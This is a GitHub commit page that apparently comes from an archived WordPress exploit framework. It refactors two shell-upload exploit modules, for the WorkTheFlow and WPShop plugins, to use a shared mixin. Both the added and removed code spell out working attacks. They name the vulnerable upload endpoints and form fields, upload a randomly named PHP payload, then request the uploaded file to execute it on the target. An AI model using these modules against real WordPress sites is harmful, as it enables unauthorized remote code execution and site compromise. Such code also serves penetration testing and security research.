Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit b07fdc7

Browse files
committed
Change more modules to use WordPress::ShellUpload mixin
1 parent fcd8a8d commit b07fdc7

File tree

2 files changed

+10
-76
lines changed

2 files changed

+10
-76
lines changed
Lines changed: 6 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
class Wpxf::Exploit::WorkTheFlowShellUpload < Wpxf::Module
2-
include Wpxf
2+
include Wpxf::WordPress::ShellUpload
33

44
def initialize
55
super
@@ -42,47 +42,14 @@ def uploader_url
4242
normalize_uri(plugin_url, 'index.php')
4343
end
4444

45-
def payload_body_builder(payload_name)
45+
def uploaded_payload_location
46+
normalize_uri(plugin_url, 'files', payload_name)
47+
end
48+
49+
def payload_body_builder
4650
builder = Utility::BodyBuilder.new
4751
builder.add_field('action', 'upload')
4852
builder.add_file_from_string('files', payload.encoded, payload_name)
4953
builder
5054
end
51-
52-
def run
53-
return false unless super
54-
55-
emit_info 'Preparing payload...'
56-
payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
57-
builder = payload_body_builder(payload_name)
58-
59-
emit_info 'Uploading payload...'
60-
res = nil
61-
builder.create do |body|
62-
res = execute_post_request(url: uploader_url, body: body)
63-
end
64-
65-
if res.nil? || res.timed_out?
66-
emit_error 'No response from the target'
67-
return false
68-
end
69-
70-
if res.code != 200
71-
emit_info "Response code: #{res.code}", true
72-
emit_info "Response body: #{res.body}", true
73-
emit_error 'Failed to upload payload'
74-
return false
75-
end
76-
77-
payload_url = normalize_uri(plugin_url, 'files', payload_name)
78-
emit_success "Uploaded the payload to #{payload_url}", true
79-
80-
emit_info 'Executing the payload...'
81-
res = execute_get_request(url: payload_url)
82-
if res && res.code == 200 && !res.body.strip.empty?
83-
emit_success "Result: #{res.body}"
84-
end
85-
86-
return true
87-
end
8855
end
Lines changed: 4 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
class Wpxf::Exploit::WpshopShellUpload < Wpxf::Module
2-
include Wpxf
2+
include Wpxf::WordPress::ShellUpload
33

44
def initialize
55
super
@@ -26,7 +26,7 @@ def check
2626
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
2727
end
2828

29-
def payload_body_builder(payload_name)
29+
def payload_body_builder
3030
builder = Utility::BodyBuilder.new
3131
builder.add_field('elementCode', 'ajaxUpload')
3232
builder.add_file_from_string('wpshop_file', payload.encoded, payload_name)
@@ -37,40 +37,7 @@ def uploader_url
3737
normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php')
3838
end
3939

40-
def run
41-
return false unless super
42-
43-
emit_info 'Preparing payload...'
44-
payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
45-
builder = payload_body_builder(payload_name)
46-
47-
emit_info 'Uploading payload...'
48-
res = nil
49-
builder.create do |body|
50-
res = execute_post_request(url: uploader_url, body: body)
51-
end
52-
53-
if res.nil? || res.timed_out?
54-
emit_error 'No response from the target'
55-
return false
56-
end
57-
58-
if res.code != 200
59-
emit_info "Response code: #{res.code}", true
60-
emit_info "Response body: #{res.body}", true
61-
emit_error 'Failed to upload payload'
62-
return false
63-
end
64-
65-
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', payload_name)
66-
emit_success "Uploaded the payload to #{payload_url}", true
67-
68-
emit_info 'Executing the payload...'
69-
res = execute_get_request(url: payload_url)
70-
if res && res.code == 200 && !res.body.strip.empty?
71-
emit_success "Result: #{res.body}"
72-
end
73-
74-
return true
40+
def uploaded_payload_location
41+
normalize_uri(wordpress_url_wp_content, 'uploads', payload_name)
7542
end
7643
end

0 commit comments

Comments
 (0)